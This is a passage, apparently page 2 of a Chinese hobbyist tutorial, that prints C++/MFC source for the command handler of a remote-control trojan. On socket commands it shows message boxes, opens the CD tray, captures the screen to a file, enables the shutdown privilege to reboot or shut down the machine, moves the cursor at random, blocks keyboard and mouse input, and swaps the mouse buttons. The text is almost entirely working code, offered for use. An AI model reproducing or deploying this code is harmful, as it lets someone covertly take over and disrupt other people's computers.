switch(szBuff[0])
{
case 'S': // 显示消息
ret = recv(sock,szBuff,sizeof(szBuff),0);
szBuff[ret] = '\0';
ShowMessage(szBuff);
break;
case 'C': // 系统控制
ret = recv(sock,szBuff,sizeof(szBuff),0);
szBuff[ret] = '\0';
ret = atoi(szBuff);
SystemControl(ret);
break;
case 'M': // 鼠标控制
ret = recv(sock,szBuff,sizeof(szBuff),0);
szBuff[ret] = '\0';
ret = atoi(szBuff);
MouseControl(ret);
break;
default:
break;
}
}
return 0;

接下来就是三个处理函数了，全部贴出来。注意这几个函数都要定义成全局的，不要定义成类的成员函数，那样的话在线程函数里面访问不到。
void ShowMessage(LPCTSTR msg)
{ ::MessageBox(NULL,msg,"信息",MB_OK);
}
void SystemControl(int select)
{
switch(select)
{
case 0:
OpenCDoor(); // 打开光驱
break;
case 1:
CloseCDoor(); // 关闭光驱
break;
case 2:
SnapScreen(); // 截获屏幕
break;
case 3:
PreProcess(); // 提升进程权限
RebootSystem(); // 重启系统
break;
case 4:
PreProcess();
ShutDown(); //关闭系统
break;
default:
break;
}
}
void MouseControl(int select)
{
int i = 0;
int nX = 0;
int nY = 0;

switch(select)
{
case 0:
// 25秒内随机移动鼠标
for(i = 0; i <= 49; i ++)
{
nX = rand() % 1024;
nY = rand() % 768;
::SetCursorPos(nX,nY);
Sleep(500);
}
break;
case 1:
// 10秒内锁定鼠标键盘响应
BlockInput(TRUE);
Sleep(10000);
BlockInput(FALSE);
break;
case 2:
// 10秒内交换鼠标左右键¸´
SwapMouseButton(TRUE);
Sleep(10000);
SwapMouseButton(FALSE);
break;
default:
break;
}
}
最后把一些函数的详细过程贴出来。
//截获屏幕，该段代码来自《黑客防线》
BOOL SnapScreen()
{
CDC dc;
int nWidth;
int nHeight;

dc.CreateDC("DISPLAY",NULL,NULL,NULL);

nWidth = GetDeviceCaps(dc,HORZRES);
nHeight = GetDeviceCaps(dc,VERTRES);

CDC dcMem;
dcMem.CreateCompatibleDC(&dc);

CBitmap bitmap;
bitmap.CreateCompatibleBitmap(&dc,nWidth,nHeight);

CBitmap *pOldBitmap = dcMem.SelectObject(&bitmap);
dcMem.BitBlt(0,0,nWidth,nHeight,&dc,0,0,SRCCOPY);
dcMem.SelectObject(pOldBitmap);

CString strFile = "C:\\test.bmp";
SaveBitmapToFile(dc.GetSafeHdc(),bitmap,strFile);
dc.DeleteDC();

return TRUE;
}
// SaveBitmapToFile函数将截获到的图像保存问bmp文件
BOOL SaveBitmapToFile(HDC hDc, CBitmap &bitmap, LPCTSTR lpszFileName)
{
BOOL ret = TRUE;
BITMAP btm;
bitmap.GetBitmap(&btm);
DWORD size = btm.bmWidthBytes * btm.bmHeight;

HGLOBAL hMem = GlobalAlloc(GMEM_FIXED|GMEM_ZEROINIT,size);
if(hMem == NULL)
return FALSE;

LPSTR lpData = (LPSTR)GlobalLock(hMem);

BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = btm.bmWidth;
bih.biHeight = btm.bmHeight;
bih.biPlanes = 1;
bih.biBitCount = btm.bmBitsPixel;
bih.biCompression = 0;
bih.biSizeImage = size;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;

if(GetDIBits(hDc,bitmap,0,bih.biHeight,lpData,(BITMAPINFO *)
&bih,DIB_RGB_COLORS) == 0)
{
GlobalFree(hMem);
return FALSE;
}

BITMAPFILEHEADER bfh;
bfh.bfType = ((WORD)('M' << 8) | 'B');
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfSize = sizeof(bfh) + size;
bfh.bfOffBits = sizeof(bfh);

CFile bf;
if(bf.Open(lpszFileName,CFile::modeCreate|CFile::modeWrite))
{
bf.WriteHuge(&bfh,sizeof(BITMAPFILEHEADER));
bf.WriteHuge(&bih,sizeof(BITMAPINFOHEADER));
bf.WriteHuge(lpData,size);
bf.Close();
}
else
ret = FALSE;
GlobalFree(hMem);
return ret;
}
// 提升进程权限的代码
BOOL PreProcess()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken) == 0)
return FALSE;
if(LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid) == 0)
return FALSE;

tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken,false,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0) == 0)
return FALSE;
return TRUE;
}
其他就没什么好贴的了，就先这么多吧，懒得写了。

上一页  [1] [2]